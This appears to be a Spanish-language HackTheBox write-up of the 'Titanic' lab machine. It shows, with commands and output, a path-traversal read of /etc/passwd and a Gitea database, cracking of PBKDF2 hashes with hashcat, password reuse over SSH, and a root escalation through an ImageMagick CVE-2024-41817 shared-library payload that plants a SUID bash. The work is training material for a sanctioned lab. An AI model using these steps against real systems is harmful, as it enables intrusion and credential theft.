Titanic – HackTheBox Link to heading
- OS: Linux
- Difficulty / Dificultad: Easy / Fácil
- Platform / Plataforma: HackTheBox
Resumen Link to heading
“Titanic” es una máquina de dificultad Fácil de la plataforma HackTheBox
. Encontramos que la máquina víctima se encuentre corriendo un servidor web con un virtual host hosteando Gitea
, donde somos capaces de crear un usuario y ver repositorios públicos. Estos repositorios son el código fuente de la página web corriendo en el servidor, lo cual muestra una ruta de éste vulnerable a Local File Inclusion
. Esto nos permite descargar una base de datos de SQLite
y crackear una contraseña desde esta base de datos para un usuario. Esta contraseña se reutiliza para el servicio SSH
, lo que nos permite ganar acceso a la máquina víctima. Una vez dentro, podemos ver un directorio el cual aparentemente está ejecutando scripts periódicamente usando el binario Magick
, pero con una versión vulnerable a una vulnerabilidad catalogada como CVE-2024–41817. Esto nos permite inyectar código malicioso que es ejecutado como root
, ganando así acceso como este usuario y comprometiendo así el sistema.
User / Usuario Link to heading
Un rápido escaneo con Nmap
para buscar por puertos abiertos usando protocolo TCP
sólo muestra 2 puertos abiertos: 22
SSH
y 80
HTTP
:
❯ sudo nmap -sS -p- --open --min-rate=5000 -n -Pn -vvv 10.10.11.55
Aplicando algunos scripts de reconocimiento con Nmap
sobre estos puertos con la flag -sVC
encontramos:
❯ sudo nmap -sVC -p22,80 10.10.11.55
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-19 05:04 -03
Nmap scan report for 10.10.11.55
Host is up (0.29s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 73:03:9c:76:eb:04:f1:fe:c9:e9:80:44:9c:7f:13:46 (ECDSA)
|_ 256 d5:bd:1d:5e:9a:86:1c:eb:88:63:4d:5f:88:4b:7e:04 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://titanic.htb/
Service Info: Host: titanic.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.45 seconds
Del output podemos ver un error, ya que el script está tratando de resolver a un dominio para el servidor web: titanic.htb
.
Para que nuestro sistema reconozca este domonio, agregamos éste a nuestro archivo /etc/hosts
en nuestra máquina de atacantes pasando la IP de la máquina víctima junto con el dominio a resolver; ejecutando en una terminal:
❯ echo '10.10.11.55 titanic.htb' | sudo tee -a /etc/hosts
Usamos WhatWeb
contra el sitio web para identificar potenciales tecnologías siendo usadas por el sitio web:
❯ whatweb -a 3 http://titanic.htb
http://titanic.htb [200 OK] Bootstrap[4.5.2], Country[RESERVED][ZZ], HTML5, HTTPServer[Werkzeug/3.0.3 Python/3.10.12], IP[10.10.11.55], JQuery, Python[3.10.12], Script, Title[Titanic - Book Your Ship Trip], Werkzeug[3.0.3]
Encontramos que el servidor web se encuentra corriendo Flask
.
Visitamos http://titanic.htb
en un navegador de internet. Podemos ver un sitio basado en el barco Titanic
:
Pero los botones de la página web no funcionan del todo.
Podemos entonces buscar por vhosts
(subdominios) en la máquina víctima usando la herramienta ffuf
. Además, filtramos todass las respuestas con 20
palabras para evadir falsos positivos:
❯ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u http://titanic.htb/ -H 'Host: FUZZ.titanic.htb' -fw 20
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://titanic.htb/
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
:: Header : Host: FUZZ.titanic.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response words: 20
________________________________________________
dev [Status: 200, Size: 13982, Words: 1107, Lines: 276, Duration: 472ms]
:: Progress: [4989/4989] :: Job [1/1] :: 146 req/sec :: Duration: [0:00:31] :: Errors: 0 ::
Obtenemos un subdominio: dev.titanic.htb
.
Agregámos este nuevo subdominio a nuestro archivo /etc/hosts
, por lo que éste ahora se ve como:
❯ tail -n 1 /etc/hosts
10.10.11.55 titanic.htb dev.titanic.htb
Visitando http://dev.titanic.htb
muestra un sitio corriendo Gitea
:
Gitea
is a forge software package for hosting software development version control using Git
as well as other collaborative featuresGit
, similar a como podría ser Github
o Gitlab
.Podemos crear un usuario clickeando en el botón de Register
en la parte superior derecha. Una vez hayamos creado un usuario y logueado con éste, podemos ir a la parte superior y clickear en Explore
; esto nos redirige a la ruta http://dev.titanic.htb/explore/repos
donde podemos ver algunos repositorios:
Tenemos un repositorio llamado flask-app
. Dado que previamente habíamos visitado y visto el sitio http://titanic.htb
estaba corriendo con Flask
, este podría ser el código fuente para la página web.
Dentro de este repositorio tenemos un archivo app.py
con el contenido:
from flask import Flask, request, jsonify, send_file, render_template, redirect, url_for, Response
import os
import json
from uuid import uuid4
app = Flask(__name__)
TICKETS_DIR = "tickets"
if not os.path.exists(TICKETS_DIR):
os.makedirs(TICKETS_DIR)
@app.route('/')
def index():
return render_template('index.html')
@app.route('/book', methods=['POST'])
def book_ticket():
data = {
"name": request.form['name'],
"email": request.form['email'],
"phone": request.form['phone'],
"date": request.form['date'],
"cabin": request.form['cabin']
}
ticket_id = str(uuid4())
json_filename = f"{ticket_id}.json"
json_filepath = os.path.join(TICKETS_DIR, json_filename)
with open(json_filepath, 'w') as json_file:
json.dump(data, json_file)
return redirect(url_for('download_ticket', ticket=json_filename))
@app.route('/download', methods=['GET'])
def download_ticket():
ticket = request.args.get('ticket')
if not ticket:
return jsonify({"error": "Ticket parameter is required"}), 400
json_filepath = os.path.join(TICKETS_DIR, ticket)
if os.path.exists(json_filepath):
return send_file(json_filepath, as_attachment=True, download_name=ticket)
else:
return jsonify({"error": "Ticket not found"}), 404
if __name__ == '__main__':
app.run(host='127.0.0.1', port=5000)
La parte importante (y vulnerable) aquí es:
@app.route('/download', methods=['GET'])
def download_ticket():
ticket = request.args.get('ticket')
if not ticket:
return jsonify({"error": "Ticket parameter is required"}), 400
json_filepath = os.path.join(TICKETS_DIR, ticket)
if os.path.exists(json_filepath):
return send_file(json_filepath, as_attachment=True, download_name=ticket)
else:
return jsonify({"error": "Ticket not found"}), 404
Tenemos una ruta /download
la cual acepta método GET
, donde podemos pasar como argumento ticket
especificando una ruta.
Por ejemplo, usando cURL
, probando qué es lo que obtenemos al pasar como argumento cualquier ruta obtenemos como respuesta:
❯ curl -s 'http://titanic.htb/download?ticket=test'
{"error":"Ticket not found"}
Funcionó. Pero el ticket no fue encontrado dado que estamos solicitando un archivo inexistente.
Lo curioso es que el script usa la función os.path.exists
para verificar si el archivo existe, pero éste no sanitiza el input, por lo que podríamos intentar un Directory Traversal
(agregando ..
) y tratar de leer archivos del sistema tales como /etc/passwd
:
❯ curl -s 'http://titanic.htb/download?ticket=../../../../../etc/passwd'
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:113:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
developer:x:1000:1000:developer:/home/developer:/bin/bash
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
dnsmasq:x:114:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
_laurel:x:998:998::/var/log/laurel:/bin/false
Funcionó. Por lo que podemos leer archivos del sistema y tenemos así un Local File Inclusion
(LFI
).
Tenemos sólo 2 usuarios en la máquina víctima; root
y developer
:
❯ curl -s 'http://titanic.htb/download?ticket=../../../../../etc/passwd' | grep sh$
root:x:0:0:root:/root:/bin/bash
developer:x:1000:1000:developer:/home/developer:/bin/bash
Revisando la documentación de Gitea, ésta muestra que Gitea
tiene un archivo de configuración llamado gitea/conf/app.ini
. No obstante, todavía necesitamos de una ruta para saber dónde podría estar albergado este archivo (y si es que existe). Si revisamos el segundo repositorio llamado docker-config
, podemos ver un archivo llamado docker-compose.yml
:
Cuyo contenido es:
version: '3'
services:
gitea:
image: gitea/gitea
container_name: gitea
ports:
- "127.0.0.1:3000:3000"
- "127.0.0.1:2222:22" # Optional for SSH access
volumes:
- /home/developer/gitea/data:/data # Replace with your path
environment:
- USER_UID=1000
- USER_GID=1000
restart: always
Tenemos una potencial ruta: /home/developer/gitea/data
.
Por ende, podríamos tratar de leer aquella ruta, agregando /gitea/conf/app.ini
al final de ésta para leer el archivo de configuración (rezando que exista):
/home/developer/gitea/data/gitea/conf/app.ini
Usando cURL
contra esta ruta obtenemos así:
❯ curl -s 'http://titanic.htb/download?ticket=../../../../../home/developer/gitea/data/gitea/conf/app.ini'
<SNIP>
[database]
PATH = /data/gitea/gitea.db
DB_TYPE = sqlite3
HOST = localhost:3306
NAME = gitea
USER = root
PASSWD =
LOG_SQL = false
SCHEMA =
SSL_MODE = disable
<SNIP>
Tenemos la ruta para un archivo .db
, que es posiblemente una base de datos.
Para descargarla, podemos ir a un navegador de internet como Firefox
y visitar la ruta:
http://titanic.htb/download?ticket=../../../../../home/developer/gitea/data/gitea/gitea.db
Esto debería de descargar un archivo con extensión .db
.
Luego de renombrar este archivo, vemos que éste es un archivo de SQLite
:
❯ mv ~/Downloads/_.._.._.._.._home_developer_gitea_data_gitea_gitea.db ./gitea.db
❯ file gitea.db
gitea.db: SQLite 3.x database, last written using SQLite version 3045001, file counter 566, database pages 509, cookie 0x1d9, schema 4, UTF-8, version-valid-for 566
Tratamos de leer esta base de datos. Podemos buscar por tablas que contengan el string password
:
sqlite> SELECT tbl.name, col.name FROM sqlite_master tbl JOIN pragma_table_info(tbl.name) col WHERE col.name LIKE '%pass%' OR col.name LIKE '%pwd%';
two_factor|last_used_passcode
user|passwd
user|passwd_hash_algo
user|must_change_password
La tabla user
se ve prometedora.
Revisando su contenido muestra muchas columnas:
sqlite> PRAGMA table_info(user);
0|id|INTEGER|1||1
1|lower_name|TEXT|1||0
2|name|TEXT|1||0
3|full_name|TEXT|0||0
4|email|TEXT|1||0
5|keep_email_private|INTEGER|0||0
6|email_notifications_preference|TEXT|1|'enabled'|0
7|passwd|TEXT|1||0
8|passwd_hash_algo|TEXT|1|'argon2'|0
9|must_change_password|INTEGER|1|0|0
10|login_type|INTEGER|0||0
11|login_source|INTEGER|1|0|0
12|login_name|TEXT|0||0
13|type|INTEGER|0||0
14|location|TEXT|0||0
15|website|TEXT|0||0
16|rands|TEXT|0||0
17|salt|TEXT|0||0
<SNIP>
En este punto tuve flashbacks de la máquina Compiled, dado que en aquella máquina tuvimos que extraer hashes para un sitio Gitea
con su base de datos. Tenemos hashes “con sal” usando el algoritmo PBKDF2
. En esencia, las columnas importantes aquí son name
para el username/nombre de usuario, passwd
es la contraseña hasheada, passwd_hash_algo
define el tipo de algoritmo a usar y salt
es la sal para la contraseña del usuario. Adcionalmente, este blog da una muy buena explicación acerca de cómo el algoritmo PBKDF2
se utiliza para hashear. Buscando por pbkdf2 Gitea
nos lleva a esta plantilla de configuración de seguridad para Gitea. En la máquina Compiled habíamos encontrado cómo tratar de crackear este formato usando la herramienta Hashcat
. Para ello teníamos que pasar el hash y la sal a un formato que Hashcat
entienda, que para este caso era:
<hashing-algorithm>:<iterations>:<hex-to-base64-salt>:<hex-to-base64-hash>
Extraemos así la información necesaria para crackear los hashes:
sqlite> select lower_name, name, email, passwd, passwd_hash_algo, salt from user;
administrator|administrator|root@titanic.htb|cba20ccf927d3ad0567b68161732d3fbca098ce886bbc923b4062a3960d459c08d2dfc063b2406ac9207c980c47c5d017136|pbkdf2$50000$50|2d149e5fbd1b20cf31db3e3c6a28fc9b
developer|developer|developer@titanic.htb|e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56|pbkdf2$50000$50|8bf3e3452b78544f8bee9400d6936d34
gunzf0x|gunzf0x|gunzf0x@titanic.htb|cd9af5c2b59990c3afee0dacc91cdee5c9b11373bd5f77f26edf1652698a431663e3572bc09446a9bf4efee26c92eca712c1|pbkdf2$50000$50|43e3e01bd8707b0a22f42dc10e190d45
Tenemos hashes para 3 usuarios: administrator
, developer
y gunzf0x
(el cual es el usuario que habíamos creado para ver los repositorios dentro de Gitea
).
Extraemos los campos requeridos para el usuario developer
, dado que vimos que este usuario existía en la máquina víctima cuando leímos el archivo /etc/passwd
:
sqlite> select lower_name, name, email, passwd, passwd_hash_algo, salt from user where name='developer';
developer|developer|developer@titanic.htb|e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56|pbkdf2$50000$50|8bf3e3452b78544f8bee9400d6936d34
Donde los 3 campos requeridos son:
- El algoritmo que se usa para hashear es
sha256
(de la documentación de Gitea). - Iteraciones; las cuales como podemos ver, son
50000
. - Pasamos la
salt
de hexadecimal a “texto normal” y luego abase64
:
❯ echo -n '8bf3e3452b78544f8bee9400d6936d34' | xxd -r -p | base64
i/PjRSt4VE+L7pQA1pNtNA==
- Repetimos el paso 3, pero para el campo
password
(hash) encontrado:
❯ echo -n 'e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56' | xxd -r -p | base64
5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y=
Juntando todo, encontramos así el hash:
developer:sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y=
Como un breve paréntesis, siempre recomendaré leer WriteUps de distinas fuentes dado que las personas resolveremos un mismo problema de distintas formas y siempre se puede aprender algo nuevo. Para la máquina Compiled, 0xdf muestra cómo crear hashes crackeables de Gitea con un oneliner de manera más automática con el comando:
sqlite3 gitea.db "select passwd,salt,name from user" | while read data; do digest=$(echo "$data" | cut -d'|' -f1 | xxd -r -p | base64); salt=$(echo "$data" | cut -d'|' -f2 | xxd -r -p | base64); name=$(echo $data | cut -d'|' -f 3); echo "${name}:sha256:50000:${salt}:${digest}"; done | tee gitea.hashes
Lo cual retorna en este caso:
❯ sqlite3 gitea.db "select passwd,salt,name from user" | while read data; do digest=$(echo "$data" | cut -d'|' -f1 | xxd -r -p | base64); salt=$(echo "$data" | cut -d'|' -f2 | xxd -r -p | base64); name=$(echo $data | cut -d'|' -f 3); echo "${name}:sha256:50000:${salt}:${digest}"; done | tee gitea.hashes
administrator:sha256:50000:LRSeX70bIM8x2z48aij8mw==:y6IMz5J9OtBWe2gWFzLT+8oJjOiGu8kjtAYqOWDUWcCNLfwGOyQGrJIHyYDEfF0BcTY=
developer:sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y=
gunzf0x:sha256:50000:Q+PgG9hwewoi9C3BDhkNRQ==:zZr1wrWZkMOv7g2syRze5cmxE3O9X3fybt8WUmmKQxZj41crwJRGqb9O/uJskuynEsE=
Usando ambos métodos (automatizado o “manual”), ambos hashes para el user developer
son el mismo.
Luego, realizamos un Brute Force Password Cracking
usando la herramienta Hashcat
junto con el diccionario de contraseñas rockyou.txt
. De acuerdo a la página de ejemplos de hashes para Hashcat, el modo (mode) 10900
debería de funcionar. Además, agregamos la flag --user
para evitar el texto developer:
al inicio del hash:
❯ hashcat -m 10900 -a 0 -w 3 -O developer:sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y= /usr/share/wordlists/rockyou.txt --user
<SNIP>
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385
sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y=:25282528
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 10900 (PBKDF2-HMAC-SHA256)
<SNIP>
Tenemos credenciales: developer:25282528
.
Revisamos si estas credenciales son válidas para SSH
usando la herramienta NetExec
:
❯ nxc ssh 10.10.11.55 -u 'developer' -p '25282528'
SSH 10.10.11.55 22 10.10.11.55 [*] SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.10
SSH 10.10.11.55 22 10.10.11.55 [+] developer:25282528 Linux - Shell access!
Son válidas. Tenemos acceso por medio de SSH
.
Por ende, usamos estas credenciales para autenticarnos a través de SSH
como el usuario developer
y ganar así acceso a la máquina víctima:
❯ sshpass -p '25282528' ssh -o stricthostkeychecking=no developer@10.10.11.55
<SNIP>
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
Last login: in** from 10.10.16.5
developer@titanic:~$
Podemos ver la flag de user/usuario.
Root Link to heading
Mirando directorios en /opt
muestra otros 3 directorios en total.
developer@titanic:~$ ls -la /opt
total 20
drwxr-xr-x 5 root root 4096 Feb 7 10:37 .
drwxr-xr-x 19 root root 4096 Feb 7 10:37 ..
drwxr-xr-x 5 root developer 4096 Feb 7 10:37 app
drwx--x--x 4 root root 4096 Feb 7 10:37 containerd
drwxr-xr-x 2 root root 4096 Feb 7 10:37 scripts
El directorio /opt/app
tiene como contenido:
developer@titanic:~$ ls -la /opt/app
total 24
drwxr-xr-x 5 root developer 4096 Feb 7 10:37 .
drwxr-xr-x 5 root root 4096 Feb 7 10:37 ..
-rwxr-x--- 1 root developer 1598 Aug 2 2024 app.py
drwxr-x--- 3 root developer 4096 Feb 7 10:37 static
drwxr-x--- 2 root developer 4096 Feb 7 10:37 templates
drwxrwx--- 2 root developer 4096 Feb 19 09:00 tickets
Estos son simplemente los archivos que teníamos en el repositorio en Gitea
. Por lo que probablemente es el código siendo ejecutado que está corriendo el servidor web.
Pero, además, en /opt
podemos ver otro directorio con el nombre scripts
. Revisando su contenido tenemos:
developer@titanic:~$ ls -la /opt/scripts
total 12
drwxr-xr-x 2 root root 4096 Feb 7 10:37 .
drwxr-xr-x 5 root root 4096 Feb 7 10:37 ..
-rwxr-xr-x 1 root root 167 Feb 3 17:11 identify_images.sh
Dentro de /opt/scripts
, hay un archivo /opt/scripts/identify_images.sh
, el cual es un script de Bash
. Revisando el contenido de este script tenemos:
cd /opt/app/static/assets/images
truncate -s 0 metadata.log
find /opt/app/static/assets/images/ -type f -name "*.jpg" | xargs /usr/bin/magick identify >> metadata.log
El script revisa archivos de imágenes (terminando con .jpg
) en el directorio /opt/app/static/assets/images/
(una ruta en la cual tenemos permisos de escritua, por cierto) y pasa todos aquellos archivos como argumentos para ser ejecutados con el /usr/bin/magick
.
Para revisar si este script es efectivamente ejecutado, subimos pspy
(el cual puede ser descargado desde su repositorio de Github). Pasamos el binario desde nuestra máquina de atacantes a la máquina víctima usando scp
:
❯ sshpass -p '25282528' scp ./pspy64 developer@10.10.11.55:/tmp/pspy64
Le damos permisos de ejecución a pspy
y lo ejecutamos en la máquina víctima:
developer@titanic:~$ chmod +x /tmp/pspy64
developer@titanic:~$ /tmp/pspy64
<SNIP>
Pero no podemos ver nada. ¿Por qué? Esto es dado a que el parámetro hidepid
está seteado como invisible
en la máquina víctima:
developer@titanic:~$ mount | grep /proc | grep hidepid
proc on /proc type proc (rw,nosuid,nodev,noexec,relatime,hidepid=invisible)
Esto quiere decir que no tenemos permiso de ver procesos siendo ejecutados por otros usuarios. Por lo que tendremos que ir “a ciegas”.
Si revisamos la versión del binario de magick
ejecutándose en el script tenemos:
developer@titanic:~$ /usr/bin/magick --version
Version: ImageMagick 7.1.1-35 Q16-HDRI x86_64 1bfce2a62:20240713 https://imagemagick.org
Copyright: (C) 1999 ImageMagick Studio LLC
License: https://imagemagick.org/script/license.php
Features: Cipher DPC HDRI OpenMP(4.5)
Delegates (built-in): bzlib djvu fontconfig freetype heic jbig jng jp2 jpeg lcms lqr lzma openexr png raqm tiff webp x xml zlib
Compiler: gcc (9.4)
Tenemos una versión: 7.1.1-35
.
Buscando por vulnerabilidades para esta versión encontramos una catalogada como CVE-2024–41817, con este advisory de Github dando un PoC. En corto, podemos manipular algunos paths de ejecución de magick
, lo cual nos permite ejecutar código a nuestro antojo cuando magick
es ejecutado. Dado que el script estaba obteniendo imágenes de la ruta /opt/app/static/assets/images/
, podemos tratar de poner nuestro payload malicioso allí. Vamos a /opt/app/static/assets/images/
y pasamos el payload que se da en el advisory de Github, pero manipulándolo un poco para que cuando se ejecute el código éste cree una copia del binario /bin/bash
y, a aquella copia, le asigne permisos SUID
:
developer@titanic:~$ cd /opt/app/static/assets/images/
developer@titanic:/opt/app/static/assets/images$ gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void init(){
system("cp /bin/bash /tmp/gunzf0x; chmod 4755 /tmp/gunzf0x");
exit(0);
}
EOF
Luego de algún tiempo ejecutado el payload anterior, podemos ver que el archivo malicioso ha sido creado:
developer@titanic:/opt/app/static/assets/images$ ls -la /tmp
total 4452
drwxrwxrwt 14 root root 4096 Feb 19 09:37 .
drwxr-xr-x 19 root root 4096 Feb 7 10:37 ..
drwxrwxrwt 2 root root 4096 Feb 19 08:22 .font-unix
-rwsr-xr-x 1 root root 1396520 Feb 19 09:37 gunzf0x
drwxrwxrwt 2 root root 4096 Feb 19 08:22 .ICE-unix
-rwxr-xr-x 1 developer developer 3104768 Feb 19 09:21 pspy64
<SNIP>
Donde -rwsr-xr-x
indica que tiene permisos SUID
. Además podemos ver que su propietario es root
.
Por lo que podemos ejecutar este archivo con los privilegios del propietario (root
) usando la flag -p
:
developer@titanic:/opt/app/static/assets/images$ /tmp/gunzf0x -p
gunzf0x-5.1# whoami
root
GG. Podemos ver la flag de root
en el directorio /root
.
~Happy Hacking.